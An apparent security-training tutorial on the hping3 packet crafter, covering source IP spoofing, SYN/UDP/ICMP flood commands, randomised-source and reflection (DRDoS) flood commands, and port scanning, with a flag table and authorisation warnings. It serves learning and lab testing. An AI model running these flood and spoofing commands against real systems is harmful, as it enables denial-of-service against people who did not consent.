What is hping3?
hping3 is a command-line oriented TCP/IP packet assembler and analyzer. Unlike standard ping tools that send only ICMP echo requests, hping3 can send arbitrary TCP, UDP, ICMP, and raw IP packets with custom headers and payloads.
hping3 is widely used by security professionals and penetration testers for:
- DoS and DDoS attack simulation and testing
- IP spoofing to test firewall rules
- Port scanning and service probing
- Network testing and packet crafting
Core Capabilities
hping3 Capabilities
├── TCP SYN/ACK/FIN/RST packet crafting
├── UDP packet generation
├── ICMP packet generation
├── IP spoofing (change source IP address)
├── Fragment packet support
├── Denial-of-Service simulation
├── Traceroute-like functionality
└── Firewall and ACL testing
IP Spoofing with hping3
One of the most common uses of hping3 in attack scenarios is IP spoofing — forging the source IP address of packets so the attack appears to originate from a different machine.
# Send packets to target with spoofed source IP
hping3 www.certifiedhacker.com -a 7.7.7.7
# Explanation:
# www.certifiedhacker.com → target destination
# -a 7.7.7.7 → spoof source IP as 7.7.7.7
When the target responds, replies go to the spoofed IP (7.7.7.7), not the real attacker. This is the core mechanism behind amplification and reflection DoS attacks.
DoS and Flood Attacks
hping3 is commonly referenced as the tool for simulating DoS flood attacks in security labs and CCT/CEH training environments.
# SYN flood attack — send many TCP SYN packets rapidly
hping3 -S --flood -V -p 80 192.168.1.1
# Explanation:
# -S → TCP SYN flag
# --flood → send packets as fast as possible
# -V → verbose output
# -p 80 → target port 80
# UDP flood
hping3 --udp --flood -p 53 192.168.1.1
# ICMP flood (ping flood)
hping3 -1 --flood 192.168.1.1
# -1 = ICMP mode
# SYN flood with random source IP (DDoS simulation)
hping3 -S --flood --rand-source -p 80 192.168.1.1
# --rand-source → randomize source IP per packet
Port Scanning with hping3
hping3 can be used for manual port scanning by sending TCP packets with specific flags:
# Scan a specific port (SYN scan)
hping3 -S -p 80 192.168.1.1
# Scan a range of ports
hping3 -S --scan 1-1000 192.168.1.1
# Scan specific ports
hping3 -S --scan 22,80,443,3389 192.168.1.1
Key hping3 Flags Reference
| Flag | Description |
|---|---|
-S | Set TCP SYN flag |
-A | Set TCP ACK flag |
-F | Set TCP FIN flag |
-R | Set TCP RST flag |
-P | Set TCP PUSH flag |
-U | Set TCP URG flag |
--udp | UDP mode |
-1 | ICMP mode |
-a <IP> | Spoof source IP address |
--rand-source | Randomize source IP for each packet |
-p <port> | Destination port |
--flood | Send packets as fast as possible |
-c <count> | Number of packets to send |
-i <interval> | Inter-packet interval (e.g., -i u1000 = 1000 microseconds) |
-V | Verbose mode |
--scan <ports> | Port scan mode |
DRDoS and Reflection Attacks
hping3 is also used to simulate Distributed Reflection DoS (DRDoS) attacks by spoofing the victim's IP as the source when sending requests to intermediary servers:
# Spoof victim's IP when sending to reflector
hping3 -S -a <VICTIM-IP> -p 80 <REFLECTOR-IP> --flood
# Reflector responds to VICTIM-IP with large responses
# effectively directing flood traffic at the victim
Security Considerations
hping3 is a legitimate network testing and security research tool. However, because of its ability to craft arbitrary packets and flood targets:
- Only use hping3 against systems you own or have explicit written permission to test
- DoS attacks against live systems without authorization are illegal in most jurisdictions
- In penetration testing engagements, confirm that DoS testing is within scope before executing flood tests
- Use isolated lab environments when learning and experimenting with flood and spoofing techniques